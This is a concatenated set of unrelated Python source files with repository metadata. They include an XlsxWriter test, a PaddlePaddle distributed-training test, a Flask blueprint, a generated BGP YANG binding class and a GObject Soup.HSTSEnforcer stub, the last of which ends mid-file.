12d74f15147868463954ebd4a8e66d5428b6f56d
refs/heads/master
2016-09-06T16:58:13.897069
2012-01-31T01:26:27
2012-01-31T01:26:27
3,310,779
0
0
null
null
null
null
UTF-8
Python
false
false
883
py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ DB abstraction for Engine """ from engine.db.api import *
aced241806907aec705128d3774a0a81da9b26ed
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5706278382862336_0/Python/neilw4/base.py
6cd2e86d9431e61edda3533f65f23cfb2d36240a
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
1,035
py
#!/usr/bin/python import sys def memo(f): cache = {} def memf(*x): if not x in cache: cache[x] = f(*x) return cache[x] return memf def memo(*x): if not x in cache: cache[x] = f(*x) return cache[x] return memf def valid(p, q, g): return (p * (2**g)) % q == 0 def solve(l): l = l.split('/') p = int(l[0]) q = int(l[1]) g = 40 if not valid(p, q, g): return "impossible" for i in xrange(0, g): if p * (2**i) >= q: return i #needs an input file infname = sys.argv[1] inf = open(infname) #assumes infname ends with .in outfname = infname[:-3] + ".out" #output file can be specified separately if len(sys.argv) > 2: outfname = sys.argv[2] outf = open(outfname, "w") case = 1 #ignore 1st line inf.readline() while True: line = inf.readline() if line == '': break sol = "Case #" + str(case) + ": " + str(solve(line.strip())) print sol outf.write(sol + "\n") case += 1
512f01a1261eb1c96485dc9c80c20b5d387c5e0a
71ddc215db07f311e7028cedcaaaaa08b92d5022
/how_to_find_in_list_int_float_str.py
61b074edfa7607a79552fc823c11540059116f88
[]
no_license
kabitakumari20/list_logical
026a17e80c8feeeccf9f4141882eb6a31b80b082
af86c6609a2b20f0019e0bd33e498ab34c546fbd
refs/heads/main
2023-05-31T23:49:08.922831
2021-06-08T11:15:30
2021-06-08T11:15:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
358
py
list=[2, 3.5,4.3,"hello world", 5, 4.3] empty1=[] empty2=[] empty3=[] i = 0 while i<len(list): if list[i]==str(list[i]): empty1.append(list[i]) elif list[i]==int(list[i]): empty2.append(list[i]) elif list[i]==float(list[i]): empty3.append(list[i]) else: print(i) i+=1 print(empty1) print(empty2) print(empty3)
fdba97aa3f723173a174712b445c40df7b64abcd
3a642fa1fc158d3289358b53770cdb39e5893711
/src/xlsxwriter/test/comparison/test_print_area02.py
8dc1c8ed62b42654997cba02f26ba5b02274c02d
[]
no_license
andbar-ru/traceyourself.appspot.com
d461277a3e6f8c27a651a1435f3206d7b9307d9f
5f0af16ba2727faceb6b7e1b98073cd7d3c60d4c
refs/heads/master
2020-07-23T14:58:21.511328
2016-12-26T22:03:01
2016-12-26T22:03:01
73,806,841
1
1
null
null
null
null
UTF-8
Python
false
false
1,906
py
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013, John McNamara, [email protected] # import unittest import os from ...workbook import Workbook from ..helperfunctions import _compare_xlsx_files class TestCompareXLSXFiles(unittest.TestCase): """ Test file created by XlsxWriter against a file created by Excel. """ def setUp(self): self.maxDiff = None filename = 'print_area02.xlsx' test_dir = 'xlsxwriter/test/comparison/' self.got_filename = test_dir + '_test_' + filename self.exp_filename = test_dir + 'xlsx_files/' + filename self.ignore_files = ['xl/printerSettings/printerSettings1.bin', 'xl/worksheets/_rels/sheet1.xml.rels'] self.ignore_elements = {'[Content_Types].xml': ['<Default Extension="bin"'], 'xl/worksheets/sheet1.xml': ['<pageMargins', '<pageSetup']} def test_create_file(self): """Test the creation of a simple XlsxWriter file with a print area.""" filename = self.got_filename #################################################### workbook = Workbook(filename) worksheet = workbook.add_worksheet() worksheet.print_area('A1:G1') worksheet.write('A1', 'Foo') workbook.close() #################################################### got, exp = _compare_xlsx_files(self.got_filename, self.exp_filename, self.ignore_files, self.ignore_elements) self.assertEqual(got, exp) def tearDown(self): # Cleanup. if os.path.exists(self.got_filename): os.remove(self.got_filename) if __name__ == '__main__': unittest.main()
b468b68150bb6fd52e90e01fcf615bdf01f04f4b
3b50605ffe45c412ee33de1ad0cadce2c5a25ca2
/python/paddle/fluid/tests/unittests/test_dist_fleet_ps13.py
58248d325b1452e0525f68f20276017e7ad7e814
[ "Apache-2.0" ]
permissive
Superjomn/Paddle
f5f4072cf75ac9ecb0ff528876ee264b14bbf8d1
7a0b0dab8e58b6a3b28b3b82c43d55c9bd3d4188
refs/heads/develop
2023-02-04T20:27:54.244843
2023-01-26T15:31:14
2023-01-26T15:31:14
66,896,049
4
1
Apache-2.0
2023-04-14T02:29:52
2016-08-30T01:45:54
C++
UTF-8
Python
false
false
6,958
py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os os.environ["WITH_DISTRIBUTE"] = "ON" import unittest import paddle import paddle.distributed.fleet as fleet import paddle.distributed.fleet.base.role_maker as role_maker import paddle.fluid as fluid paddle.enable_static() # For Net base_lr = 0.2 emb_lr = base_lr * 3 dict_dim = 1500 emb_dim = 128 hid_dim = 128 margin = 0.1 sample_rate = 1 batch_size = 4 # this unittest is tested for SparseSharedAdamSGDRule class TestPSPassWithBow(unittest.TestCase): def net(self): def get_acc(cos_q_nt, cos_q_pt, batch_size): cond = paddle.less_than(cos_q_nt, cos_q_pt) cond = fluid.layers.cast(cond, dtype='float64') cond_3 = paddle.sum(cond) acc = paddle.divide( cond_3, fluid.layers.fill_constant( shape=[1], value=batch_size * 1.0, dtype='float64' ), name="simnet_acc", ) return acc def get_loss(cos_q_pt, cos_q_nt): loss_op1 = paddle.subtract( fluid.layers.fill_constant_batch_size_like( input=cos_q_pt, shape=[-1, 1], value=margin, dtype='float32' ), cos_q_pt, ) loss_op2 = paddle.add(loss_op1, cos_q_nt) loss_op3 = paddle.maximum( fluid.layers.fill_constant_batch_size_like( input=loss_op2, shape=[-1, 1], value=0.0, dtype='float32' ), loss_op2, ) avg_cost = paddle.mean(loss_op3) return avg_cost is_distributed = False is_sparse = True # query q = paddle.static.data( name="query_ids", shape=[-1, 1], dtype="int64", lod_level=1 ) # embedding q_emb = fluid.contrib.layers.sparse_embedding( input=q, size=[dict_dim, emb_dim], param_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__emb__", learning_rate=emb_lr, ), ) q_emb = paddle.reshape(q_emb, [-1, emb_dim]) # vsum q_sum = fluid.layers.sequence_pool(input=q_emb, pool_type='sum') q_ss = paddle.nn.functional.softsign(q_sum) # fc layer after conv q_fc = paddle.static.nn.fc( x=q_ss, size=hid_dim, weight_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__q_fc__", learning_rate=base_lr, ), ) # label data label = paddle.static.data(name="label", shape=[-1, 1], dtype="int64") # pt pt = paddle.static.data( name="pos_title_ids", shape=[-1, 1], dtype="int64", lod_level=1 ) # embedding pt_emb = fluid.contrib.layers.sparse_embedding( input=pt, size=[dict_dim, emb_dim], param_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__emb__", learning_rate=emb_lr, ), ) pt_emb = paddle.reshape(pt_emb, [-1, emb_dim]) # vsum pt_sum = fluid.layers.sequence_pool(input=pt_emb, pool_type='sum') pt_ss = paddle.nn.functional.softsign(pt_sum) # fc layer pt_fc = paddle.static.nn.fc( x=pt_ss, size=hid_dim, weight_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__fc__", learning_rate=base_lr, ), bias_attr=fluid.ParamAttr(name="__fc_b__"), ) # nt nt = paddle.static.data( name="neg_title_ids", shape=[-1, 1], dtype="int64", lod_level=1 ) # embedding nt_emb = fluid.contrib.layers.sparse_embedding( input=nt, size=[dict_dim, emb_dim], param_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__emb__", learning_rate=emb_lr, ), ) nt_emb = paddle.reshape(nt_emb, [-1, emb_dim]) # vsum nt_sum = fluid.layers.sequence_pool(input=nt_emb, pool_type='sum') nt_ss = paddle.nn.functional.softsign(nt_sum) # fc layer nt_fc = paddle.static.nn.fc( x=nt_ss, size=hid_dim, weight_attr=fluid.ParamAttr( initializer=fluid.initializer.Constant(value=0.01), name="__fc__", learning_rate=base_lr, ), bias_attr=fluid.ParamAttr(name="__fc_b__"), ) cos_q_pt = paddle.nn.functional.cosine_similarity(q_fc, pt_fc) cos_q_nt = paddle.nn.functional.cosine_similarity(q_fc, nt_fc) # loss avg_cost = get_loss(cos_q_pt, cos_q_nt) # acc acc = get_acc(cos_q_nt, cos_q_pt, batch_size) return [avg_cost, acc, cos_q_pt] def test(self): os.environ["PADDLE_PSERVER_NUMS"] = "2" os.environ["PADDLE_TRAINERS_NUM"] = "2" os.environ["POD_IP"] = "127.0.0.1" os.environ["PADDLE_PORT"] = "36001" os.environ["PADDLE_TRAINER_ID"] = "0" os.environ["PADDLE_TRAINERS_NUM"] = "2" os.environ[ "PADDLE_PSERVERS_IP_PORT_LIST" ] = "127.0.0.1:36001,127.0.0.2:36001" os.environ["TRAINING_ROLE"] = "PSERVER" role = role_maker.PaddleCloudRoleMaker() fleet.init(role) loss, acc, _ = self.net() strategy = paddle.distributed.fleet.DistributedStrategy() strategy.a_sync = True configs = {} configs['__emb__'] = { "table_parameters.__emb__.accessor.embed_sgd_param.name": "SparseSharedAdamSGDRule", "table_parameters.__emb__.accessor.embedx_sgd_param.name": "SparseSharedAdamSGDRule", } strategy.sparse_table_configs = configs optimizer = paddle.fluid.optimizer.SGD(learning_rate=0.01) optimizer = fleet.distributed_optimizer(optimizer, strategy=strategy) optimizer.minimize(loss) fleet.init_server() if __name__ == '__main__': unittest.main()
7ed4c2eb2c224f3d1a91789faff26ab73a083d63
6821339070e85305875633abca1c3d6c90881ede
/flaskWeb/flask_demo/blue_print/index.py
ebd3377ee3bac19028f4335aaccdf5e7338cc9be
[]
no_license
Abel-Fan/uaif1901
07cda7ea5675ec52ae92c0021f713951c62bd198
f6d81a44b658e61b2c3ae6b4b604faebc1fb136a
refs/heads/master
2020-05-03T01:05:46.289805
2019-04-30T10:16:53
2019-04-30T10:16:53
178,328,172
2
2
null
null
null
null
UTF-8
Python
false
false
662
py
from flask import Blueprint,render_template from flaskWeb.flask_demo.db.connectdb import database,cursor from flaskWeb.flask_demo.settings import INDEX_STATIC indexblue = Blueprint("index",__name__,url_prefix="/") @indexblue.route("/",methods=["GET"]) def index(): data = {} sql = "select * from produces limit 3" cursor.execute(sql) # 执行sql语句 tuijians = cursor.fetchall() # 获取数据 data['tuijian'] = tuijians return render_template("index/index.html",data=data,index_static=INDEX_STATIC) @indexblue.route("/<pagename>.html",methods=["GET"]) def getpage(pagename): return render_template("index/%s.html"%pagename)
1d2fcfdd3bd3561748484b153ccd79db0d2f6603
ca850269e513b74fce76847310bed143f95b1d10
/build/navigation/move_slow_and_clear/catkin_generated/pkg.installspace.context.pc.py
e8dee1765968cad46f6536a7c38fe58f630c2d73
[]
no_license
dvij542/RISS-2level-pathplanning-control
f98f2c83f70c2894d3c248630159ea86df8b08eb
18390c5ab967e8649b9dc83681e9090a37f3d018
refs/heads/main
2023-06-15T03:58:25.293401
2021-06-20T20:20:30
2021-06-20T20:20:30
368,553,169
0
0
null
null
null
null
UTF-8
Python
false
false
501
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "${prefix}/include".split(';') if "${prefix}/include" != "" else [] PROJECT_CATKIN_DEPENDS = "geometry_msgs;nav_core;pluginlib;roscpp".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-lmove_slow_and_clear".split(';') if "-lmove_slow_and_clear" != "" else [] PROJECT_NAME = "move_slow_and_clear" PROJECT_SPACE_DIR = "/home/dvij5420/catkin_ws/install" PROJECT_VERSION = "1.14.9"
2bce411c35e912e6ed7c250789f2f2259956fe8f
6679fd1102802bf190294ef43c434b6047840dc2
/openconfig_bindings/bgp/global_/afi_safis/afi_safi/l2vpn_vpls/prefix_limit/__init__.py
912ccb145ff12843af0245b01ed67e1ee0f21e7d
[]
no_license
robshakir/pyangbind-openconfig-napalm
d49a26fc7e38bbdb0419c7ad1fbc590b8e4b633e
907979dc14f1578f4bbfb1c1fb80a2facf03773c
refs/heads/master
2023-06-13T17:17:27.612248
2016-05-10T16:46:58
2016-05-10T16:46:58
58,091,515
5
0
null
null
null
null
UTF-8
Python
false
false
7,217
py
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import config import state class prefix_limit(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-bgp - based on the path /bgp/global/afi-safis/afi-safi/l2vpn-vpls/prefix-limit. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Configure the maximum number of prefixes that will be accepted from a peer """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_extmethods', '__config','__state',) _yang_name = 'prefix-limit' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): helper = kwargs.pop("path_helper", None) if helper is False: self._path_helper = False elif helper is not None and isinstance(helper, xpathhelper.YANGPathHelper): self._path_helper = helper elif hasattr(self, "_parent"): helper = getattr(self._parent, "_path_helper", False) self._path_helper = helper else: self._path_helper = False self._extmethods = False self.__state = YANGDynClass(base=state.state, is_container='container', yang_name="state", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) self.__config = YANGDynClass(base=config.config, is_container='container', yang_name="config", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'bgp', u'global', u'afi-safis', u'afi-safi', u'l2vpn-vpls', u'prefix-limit'] def _get_config(self): """ Getter method for config, mapped from YANG variable /bgp/global/afi_safis/afi_safi/l2vpn_vpls/prefix_limit/config (container) YANG Description: Configuration parameters relating to the prefix limit for the AFI-SAFI """ return self.__config def _set_config(self, v, load=False): """ Setter method for config, mapped from YANG variable /bgp/global/afi_safis/afi_safi/l2vpn_vpls/prefix_limit/config (container) If this variable is read-only (config: false) in the source YANG file, then _set_config is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_config() directly. YANG Description: Configuration parameters relating to the prefix limit for the AFI-SAFI """ try: t = YANGDynClass(v,base=config.config, is_container='container', yang_name="config", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """config must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=config.config, is_container='container', yang_name="config", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True)""", }) self.__config = t if hasattr(self, '_set'): self._set() def _unset_config(self): self.__config = YANGDynClass(base=config.config, is_container='container', yang_name="config", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) def _get_state(self): """ Getter method for state, mapped from YANG variable /bgp/global/afi_safis/afi_safi/l2vpn_vpls/prefix_limit/state (container) YANG Description: State information relating to the prefix-limit for the AFI-SAFI """ return self.__state def _set_state(self, v, load=False): """ Setter method for state, mapped from YANG variable /bgp/global/afi_safis/afi_safi/l2vpn_vpls/prefix_limit/state (container) If this variable is read-only (config: false) in the source YANG file, then _set_state is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_state() directly. YANG Description: State information relating to the prefix-limit for the AFI-SAFI """ try: t = YANGDynClass(v,base=state.state, is_container='container', yang_name="state", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """state must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=state.state, is_container='container', yang_name="state", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True)""", }) self.__state = t if hasattr(self, '_set'): self._set() def _unset_state(self): self.__state = YANGDynClass(base=state.state, is_container='container', yang_name="state", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/bgp', defining_module='openconfig-bgp', yang_type='container', is_config=True) config = property(_get_config, _set_config) state = property(_get_state, _set_state) _pyangbind_elements = {'config': config, 'state': state, }
e4133ca7cab9d2cfbcfdb3bd426bd7881b929df7
f82757475ea13965581c2147ff57123b361c5d62
/gi-stubs/repository/Soup/HSTSEnforcer.py
d992a49c116ab36e63951f4d43c0915e61e2f82c
[]
no_license
ttys3/pygobject-stubs
9b15d1b473db06f47e5ffba5ad0a31d6d1becb57
d0e6e93399212aada4386d2ce80344eb9a31db48
refs/heads/master
2022-09-23T12:58:44.526554
2020-06-06T04:15:00
2020-06-06T04:15:00
269,693,287
8
2
null
2020-06-05T15:57:54
2020-06-05T15:57:54
null
UTF-8
Python
false
false
17,580
py
# encoding: utf-8 # module gi.repository.Soup # from /usr/lib64/girepository-1.0/Soup-2.4.typelib # by generator 1.147 """ An object which wraps an introspection typelib. This wrapping creates a python module like representation of the typelib using gi repository as a foundation. Accessing attributes of the module will dynamically pull them in and create wrappers for the members. These members are then cached on this introspection module. """ # imports import gi as __gi import gi.overrides.GObject as __gi_overrides_GObject import gi.repository.Gio as __gi_repository_Gio import gobject as __gobject from .SessionFeature import SessionFeature class HSTSEnforcer(__gi_overrides_GObject.Object, SessionFeature): """ :Constructors: :: HSTSEnforcer(**properties) new() -> Soup.HSTSEnforcer """ def add_feature(self, type): # real signature unknown; restored from __doc__ """ add_feature(self, type:GType) -> bool """ return False def attach(self, session): # real signature unknown; restored from __doc__ """ attach(self, session:Soup.Session) """ pass def bind_property(self, *args, **kwargs): # real signature unknown pass def bind_property_full(self, *args, **kargs): # reliably restored by inspect # no doc pass def chain(self, *args, **kwargs): # real signature unknown pass def compat_control(self, *args, **kargs): # reliably restored by inspect # no doc pass def connect(self, *args, **kwargs): # real signature unknown pass def connect_after(self, *args, **kwargs): # real signature unknown pass def connect_data(self, detailed_signal, handler, *data, **kwargs): # reliably restored by inspect """ Connect a callback to the given signal with optional user data. :param str detailed_signal: A detailed signal to connect to. :param callable handler: Callback handler to connect to the signal. :param *data: Variable data which is passed through to the signal handler. :param GObject.ConnectFlags connect_flags: Flags used for connection options. :returns: A signal id which can be used with disconnect. """ pass def connect_object(self, *args, **kwargs): # real signature unknown pass def connect_object_after(self, *args, **kwargs): # real signature unknown pass def detach(self, session): # real signature unknown; restored from __doc__ """ detach(self, session:Soup.Session) """ pass def disconnect(*args, **kwargs): # reliably restored by inspect """ signal_handler_disconnect(instance:GObject.Object, handler_id:int) """ pass def disconnect_by_func(self, *args, **kwargs): # real signature unknown pass def do_changed(self, *args, **kwargs): # real signature unknown """ changed(self, old_policy:Soup.HSTSPolicy, new_policy:Soup.HSTSPolicy) """ pass def do_has_valid_policy(self, *args, **kwargs): # real signature unknown """ has_valid_policy(self, domain:str) -> bool """ pass def do_hsts_enforced(self, *args, **kwargs): # real signature unknown """ hsts_enforced(self, message:Soup.Message) """ pass def do_is_persistent(self, *args, **kwargs): # real signature unknown """ is_persistent(self) -> bool """ pass def emit(self, *args, **kwargs): # real signature unknown pass def emit_stop_by_name(self, detailed_signal): # reliably restored by inspect """ Deprecated, please use stop_emission_by_name. """ pass def find_property(self, property_name): # real signature unknown; restored from __doc__ """ find_property(self, property_name:str) -> GObject.ParamSpec """ pass def force_floating(self, *args, **kargs): # reliably restored by inspect # no doc pass def freeze_notify(self): # reliably restored by inspect """ Freezes the object's property-changed notification queue. :returns: A context manager which optionally can be used to automatically thaw notifications. This will freeze the object so that "notify" signals are blocked until the thaw_notify() method is called. .. code-block:: python with obj.freeze_notify(): pass """ pass def getv(self, names, values): # real signature unknown; restored from __doc__ """ getv(self, names:list, values:list) """ pass def get_data(self, *args, **kargs): # reliably restored by inspect # no doc pass def get_domains(self, session_policies): # real signature unknown; restored from __doc__ """ get_domains(self, session_policies:bool) -> list """ return [] def get_policies(self, session_policies): # real signature unknown; restored from __doc__ """ get_policies(self, session_policies:bool) -> list """ return [] def get_properties(self, *args, **kwargs): # real signature unknown pass def get_property(self, *args, **kwargs): # real signature unknown pass def get_qdata(self, *args, **kargs): # reliably restored by inspect # no doc pass def handler_block(obj, handler_id): # reliably restored by inspect """ Blocks the signal handler from being invoked until handler_unblock() is called. :param GObject.Object obj: Object instance to block handlers for. :param int handler_id: Id of signal to block. :returns: A context manager which optionally can be used to automatically unblock the handler: .. code-block:: python with GObject.signal_handler_block(obj, id): pass """ pass def handler_block_by_func(self, *args, **kwargs): # real signature unknown pass def handler_disconnect(*args, **kwargs): # reliably restored by inspect """ signal_handler_disconnect(instance:GObject.Object, handler_id:int) """ pass def handler_is_connected(*args, **kwargs): # reliably restored by inspect """ signal_handler_is_connected(instance:GObject.Object, handler_id:int) -> bool """ pass def handler_unblock(*args, **kwargs): # reliably restored by inspect """ signal_handler_unblock(instance:GObject.Object, handler_id:int) """ pass def handler_unblock_by_func(self, *args, **kwargs): # real signature unknown pass def has_feature(self, type): # real signature unknown; restored from __doc__ """ has_feature(self, type:GType) -> bool """ return False def has_valid_policy(self, domain): # real signature unknown; restored from __doc__ """ has_valid_policy(self, domain:str) -> bool """ return False def install_properties(self, pspecs): # real signature unknown; restored from __doc__ """ install_properties(self, pspecs:list) """ pass def install_property(self, property_id, pspec): # real signature unknown; restored from __doc__ """ install_property(self, property_id:int, pspec:GObject.ParamSpec) """ pass def interface_find_property(self, *args, **kargs): # reliably restored by inspect # no doc pass def interface_install_property(self, *args, **kargs): # reliably restored by inspect # no doc pass def interface_list_properties(self, *args, **kargs): # reliably restored by inspect # no doc pass def is_floating(self): # real signature unknown; restored from __doc__ """ is_floating(self) -> bool """ return False def is_persistent(self): # real signature unknown; restored from __doc__ """ is_persistent(self) -> bool """ return False def list_properties(self): # real signature unknown; restored from __doc__ """ list_properties(self) -> list, n_properties:int """ return [] def new(self): # real signature unknown; restored from __doc__ """ new() -> Soup.HSTSEnforcer """ pass def newv(self, object_type, parameters): # real signature unknown; restored from __doc__ """ newv(object_type:GType, parameters:list) -> GObject.Object """ pass def notify(self, property_name): # real signature unknown; restored from __doc__ """ notify(self, property_name:str) """ pass def notify_by_pspec(self, *args, **kargs): # reliably restored by inspect # no doc pass def override_property(self, property_id, name): # real signature unknown; restored from __doc__ """ override_property(self, property_id:int, name:str) """ pass def ref(self, *args, **kargs): # reliably restored by inspect # no doc pass def ref_sink(self, *args, **kargs): # reliably restored by inspect # no doc pass def remove_feature(self, type): # real signature unknown; restored from __doc__ """ remove_feature(self, type:GType) -> bool """ return False def replace_data(self, *args, **kargs): # reliably restored by inspect # no doc pass def replace_qdata(self, *args, **kargs): # reliably restored by inspect # no doc pass def run_dispose(self, *args, **kargs): # reliably restored by inspect # no doc pass def set_data(self, *args, **kargs): # reliably restored by inspect # no doc pass def set_policy(self, policy): # real signature unknown; restored from __doc__ """ set_policy(self, policy:Soup.HSTSPolicy) """ pass def set_properties(self, *args, **kwargs): # real signature unknown pass def set_property(self, *args, **kwargs): # real signature unknown pass def set_session_policy(self, domain, include_subdomains): # real signature unknown; restored from __doc__ """ set_session_policy(self, domain:str, include_subdomains:bool) """ pass def steal_data(self, *args, **kargs): # reliably restored by inspect # no doc pass def steal_qdata(self, *args, **kargs): # reliably restored by inspect # no doc pass def stop_emission(self, detailed_signal): # reliably restored by inspect """ Deprecated, please use stop_emission_by_name. """ pass def stop_emission_by_name(*args, **kwargs): # reliably restored by inspect """ signal_stop_emission_by_name(instance:GObject.Object, detailed_signal:str) """ pass def thaw_notify(self): # real signature unknown; restored from __doc__ """ thaw_notify(self) """ pass def unref(self, *args, **kargs): # reliably restored by inspect # no doc pass def watch_closure(self, *args, **kargs): # reliably restored by inspect # no doc pass def weak_ref(self, *args, **kwargs): # real signature unknown pass def _force_floating(self, *args, **kwargs): # real signature unknown """ force_floating(self) """ pass def _ref(self, *args, **kwargs): # real signature unknown """ ref(self) -> GObject.Object """ pass def _ref_sink(self, *args, **kwargs): # real signature unknown """ ref_sink(self) -> GObject.Object """ pass def _unref(self, *args, **kwargs): # real signature unknown """ unref(self) """ pass def _unsupported_data_method(self, *args, **kargs): # reliably restored by inspect # no doc pass def _unsupported_method(self, *args, **kargs): # reliably restored by inspect # no doc pass def __copy__(self, *args, **kwargs): # real signature unknown pass def __deepcopy__(self, *args, **kwargs): # real signature unknown pass def __delattr__(self, *args, **kwargs): # real signature unknown """ Implement delattr(self, name). """ pass def __dir__(self, *args, **kwargs): # real signature unknown """ Default dir() implementation. """ pass def __eq__(self, *args, **kwargs): # real signature unknown """ Return self==value. """ pass def __format__(self, *args, **kwargs): # real signature unknown """ Default object formatter. """ pass def __getattribute__(self, *args, **kwargs): # real signature unknown """ Return getattr(self, name). """ pass def __ge__(self, *args, **kwargs): # real signature unknown """ Return self>=value. """ pass def __gt__(self, *args, **kwargs): # real signature unknown """ Return self>value. """ pass def __hash__(self, *args, **kwargs): # real signature unknown """ Return hash(self). """ pass def __init_subclass__(self, *args, **kwargs): # real signature unknown """ This method is called when a class is subclassed. The default implementation does nothing. It may be overridden to extend subclasses. """ pass def __init__(self, **properties): # real signature unknown; restored from __doc__ pass def __le__(self, *args, **kwargs): # real signature unknown """ Return self<=value. """ pass def __lt__(self, *args, **kwargs): # real signature unknown """ Return self<value. """ pass @staticmethod # known case of __new__ def __new__(*args, **kwargs): # real signature unknown """ Create and return a new object. See help(type) for accurate signature. """ pass def __ne__(self, *args, **kwargs): # real signature unknown """ Return self!=value. """ pass def __reduce_ex__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __reduce__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __repr__(self, *args, **kwargs): # real signature unknown """ Return repr(self). """ pass def __setattr__(self, *args, **kwargs): # real signature unknown """ Implement setattr(self, name, value). """ pass def __sizeof__(self, *args, **kwargs): # real signature unknown """ Size of object in memory, in bytes. """ pass def __str__(self, *args, **kwargs): # real signature unknown """ Return str(self). """ pass def __subclasshook__(self, *args, **kwargs): # real signature unknown """ Abstract classes can override this to customize issubclass(). This is invoked early on by abc.ABCMeta.__subclasscheck__(). It should return True, False or NotImplemented. If it returns NotImplemented, the normal algorithm is used. Otherwise, it overrides the normal algorithm (and the outcome is cached). """ pass def __weakref__(self, *args, **kwargs): # real signature unknown pass g_type_instance = property(lambda self: object(), lambda self, v: None, lambda self: None) # default parent = property(lambda self: object(), lambda self, v: None, lambda self: None) # default priv = property(lambda self: object(), lambda self, v: None, lambda self: None) # default qdata = property(lambda self: object(), lambda self, v: None, lambda self: None) # default ref_count = property(lambda self: object(), lambda self, v: None, lambda self: None) # default __gpointer__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default __grefcount__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default props = None # (!) real value is '<gi._gi.GProps object at 0x7f8e47db9a60>' __class__ = None # (!) real value is "<class 'gi.types.GObjectMeta'>" __dict__ = None # (!) real value is "mappingproxy({'__info__': ObjectInfo(HSTSEnforcer), '__module__': 'gi.repository.Soup', '__gtype__': <GType SoupHSTSEnforcer (94750594763632)>, '__doc__': None, '__gsignals__': {}, 'new': gi.FunctionInfo(new), 'get_domains': gi.FunctionInfo(get_domains), 'get_policies': gi.FunctionInfo(get_policies), 'has_valid_policy': gi.FunctionInfo(has_valid_policy), 'is_persistent': gi.FunctionInfo(is_persistent), 'set_policy': gi.FunctionInfo(set_policy), 'set_session_policy': gi.FunctionInfo(set_session_policy), 'do_changed': 